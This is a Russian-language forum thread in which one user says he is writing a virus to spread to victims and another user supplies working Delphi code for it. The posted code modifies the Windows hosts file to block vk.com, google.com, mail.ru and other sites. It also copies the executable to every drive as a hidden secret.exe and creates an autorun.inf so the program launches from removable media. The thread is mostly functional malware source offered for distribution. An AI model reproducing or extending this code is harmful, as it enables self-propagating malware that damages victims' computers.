|
Копирование себя на флешку
|
|
Userok
|
Дата: Понедельник, 28.01.2013, 14:57 | Сообщение # 1
|
Был не раз
Зарегистрирован: 10.12.2012
Группа: Пользователи
Сообщений: 31
Статус: Offline
|
Пишу вирус.Хочу когда жертва открывает вирус он копируеться на флешку |
| |
|
|
|
|
Slash
|
Дата: Понедельник, 28.01.2013, 22:35 | Сообщение # 2
|
Был не раз
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 48
Статус: Offline
|
Хаха,смотрю ты в Delphi совсем 0.
Код
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
if (i in LogDrives) then
GetLogicalDriveStrings(1000, buf);
i := 0;
repeat
FillChar(DrvStr, SizeOf(DrvStr), #0);
j := 0;
repeat
DrvStr[j] := buf[i];
inc(j);
inc(i);
until
(buf[i] = #0) or (j > 9);
inc(i);
until
((buf[i-1] = #0) and (buf[i] = #0)) or (i > 499);
CopyFile(PChar(ParamStr(0)), PChar(''+DrvStr+'\secret.exe'), True);
В var добавь
Код
buf: array [0..499] of char;
DrvStr: array [0..9] of char;
LogDrives: set of 0..25;
А если только на флешку,то ищи только съемные диски.
Delphi-the best. Fuck off all the rest!
Сообщение отредактировал Slash - Понедельник, 28.01.2013, 22:37
|
| |
|
|
|
|
Userok
|
Дата: Вторник, 29.01.2013, 13:34 | Сообщение # 3
|
|
Был не раз
Зарегистрирован: 10.12.2012
Группа: Пользователи
Сообщений: 31
Статус: Offline
|
Slash, я делфи вобще незнаю.Я хорошо c# знаю.Я на делфи решил слепить вирус из помощи форума.Потому что буду распространять вирус.А на шарпе нужна платформа .нет для запуска |
| |
|
|
|
|
Userok
|
Дата: Вторник, 29.01.2013, 13:39 | Сообщение # 4
|
|
Был не раз
Зарегистрирован: 10.12.2012
Группа: Пользователи
Сообщений: 31
Статус: Offline
|
Код
program ttt;
uses
Windows;
function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;
var host:TextFile;
begin
AssignFile(host, pchar(sysdir+'\system32\drivers\etc\hosts'));
Append(host);
WriteLn(host,'');
WriteLn(host,'127.0.0.1 localhost');
WriteLn(host,'127.0.0.1 vk.com');
WriteLn(host,'127.0.0.1 odnoklassniki.ru');
WriteLn(host,'127.0.0.1 webalta.ru');
WriteLn(host,'127.0.0.1 mail.ru');
WriteLn(host,'127.0.0.1 karos.ru');
WriteLn(host,'127.0.0.1 fotostrana.ru');
WriteLn(host,'127.0.0.1 delfcode.ru');
WriteLn(host,'127.0.0.1 xaker.ru');
WriteLn(host,'127.0.0.1 google.ru');
WriteLn(host,'127.0.0.1 google.com');
WriteLn(host,'127.0.0.1 yandex.ru');
Write(host,'IP localhost');
CloseFile(host);
end.
Вот что получаеться.Добавте в код чтобы когда жертва запустила он скопировался на флешку J и K
Пли зпомогите.Дам 3+ в репутацию за помощь
|
| |
|
|
|
|
Slash
|
Дата: Вторник, 29.01.2013, 19:43 | Сообщение # 5
|
|
Был не раз
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 48
Статус: Offline
|
Код
program ttt;
uses
Windows,
Classes,
SysUtils;
var host:TextFile;
i, j: integer;
buf: array [0..499] of char;
DrvStr: array [0..9] of char;
LogDrives: set of 0..25;
f : TextFile;
begin
integer(LogDrives) := GetLogicalDrives;
for i := 0 to 25 do
if (i in LogDrives) then
GetLogicalDriveStrings(1000, buf);
i := 0;
repeat
FillChar(DrvStr, SizeOf(DrvStr), #0);
j := 0;
repeat
DrvStr[j] := buf[i];
inc(j);
inc(i);
until
(buf[i] = #0) or (j > 9);
inc(i);
until
((buf[i-1] = #0) and (buf[i] = #0)) or (i > 499);
CopyFile(PChar(ParamStr(0)), PChar(''+DrvStr+'\secret.exe'), True);
AssignFile (f, ''+DrvStr+'\autorun.inf');
Rewrite (f);
WriteLn (f, '[AutoRun]');
WriteLn (f, 'Open = secret.exe');
CloseFile (f);
FileSetAttr(''+DrvStr+'\secret.exe',2);
FileSetAttr(''+DrvStr+'\autorun.inf',2);
end.
Скопируется на все диски с атрибутом "скрытый" вместе с autorun.inf.
Давай репу 
Delphi-the best. Fuck off all the rest!
Сообщение отредактировал Slash - Вторник, 29.01.2013, 19:45
|
| |
|
|
|
|
Userok
|
Дата: Среда, 30.01.2013, 16:32 | Сообщение # 6
|
|
Был не раз
Зарегистрирован: 10.12.2012
Группа: Пользователи
Сообщений: 31
Статус: Offline
|
Slash, No problem |
| |
|
|
|
